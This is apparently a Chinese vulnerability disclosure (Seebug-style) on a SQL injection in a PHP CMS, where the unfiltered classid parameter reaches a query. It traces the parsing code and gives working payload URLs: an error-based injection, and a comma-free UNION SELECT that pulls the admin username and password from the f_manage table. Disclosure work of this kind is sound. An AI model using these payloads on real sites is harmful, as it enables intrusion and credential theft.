### 简要描述:
过滤不严,绕过并注入
### 详细说明:
Template/article.html和Template/article_class.html中
{$classid=$_GET[‘classid’]}//直接GET传入
```
<div class="home_box">
<div class="boxtitle">
<h3>最新推荐</h3>
</div>
<ul class="list_12">
{loop M("module")->l("article","w[classid='$classid'&&attrib_j=1&&status=1];f[title,html,date];n[10];s[id,1]") $k $v} //classid直接带入查询
<li><span>{date('m/d',strtotime($v['date']))}</span><a href="{url($v['html'])}">{$v['title']}</a></li>
{/loop}
</ul>
</div>
下面的一样,就省略了
```
这里显然已经有注入的潜质了,就看后面查询的时候有无过滤,试试直接报错注入
http://localhost/?controller=classify&project=article&classify=&classid=1'%20and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)#
[<img src="https://images.seebug.org/upload/201408/111016237019335eecabf8ab07d01de400be9588.png" alt="QQ截图20140811101536.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/111016237019335eecabf8ab07d01de400be9588.png)
Message :Invalid SQL:select title,html,date from f_article where classid='1' and (select 1 from (select count(*) and (classid = "concat(version()") order by id desc limit 10
竟然给我变成了 and (classid = "concat(version()") 。什么玩意??
不过这里已经看出来数据库表的前缀f_了。
继续跟,看看怎么回事。
定位model/moduleModel.php中函数l:
```
public function l($table,$func=""){
$array=explode(";",$func);
if(count($array)>1){
foreach($array as $v){
$this->tagsresolve($v);
}
}else{
$this->tagsresolve($func);
}
。。。。
return D($table)->field($field)->where($where)->sort($sortf,$sorts,$sortp)->limit($limit)->getall();
```
tagsresolve函数对传过来的参数进行处理了,继续跟tagsresolve函数:
```
private function tagsresolve($string){
$str=substr(substr($string,2),0,-1);
switch(substr($string,0,1)){
case "w": //w时
$exp=explode(',',$str);//这里用逗号分割
if($exp[1]){//如果我们的语句中有逗号,就会被处理
return $this->op['where']=$exp[0].$this->whereclass($exp[1]);
}elseif($str){
return $this->op['where']=$str;
}
break;
```
whereclass就不继续跟进了
既然把没有逗号了,那就不用好了,见证明
### 漏洞证明:
http://localhost/?controller=classify&project=article&classify=&classid=2'%20%20UNION%20SELECT%20*%20FROM%20((SELECT%20admin%20from%20f_manage)a%20JOIN%20(SELECT%202)b%20JOIN%20(SELECT%20password%20from%20f_manage)c)%20%23
[<img src="https://images.seebug.org/upload/201408/1110271942695d828d9fc98f0d2129b376d31c9c.png" alt="QQ截图20140811092820.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/1110271942695d828d9fc98f0d2129b376d31c9c.png)
暂无评论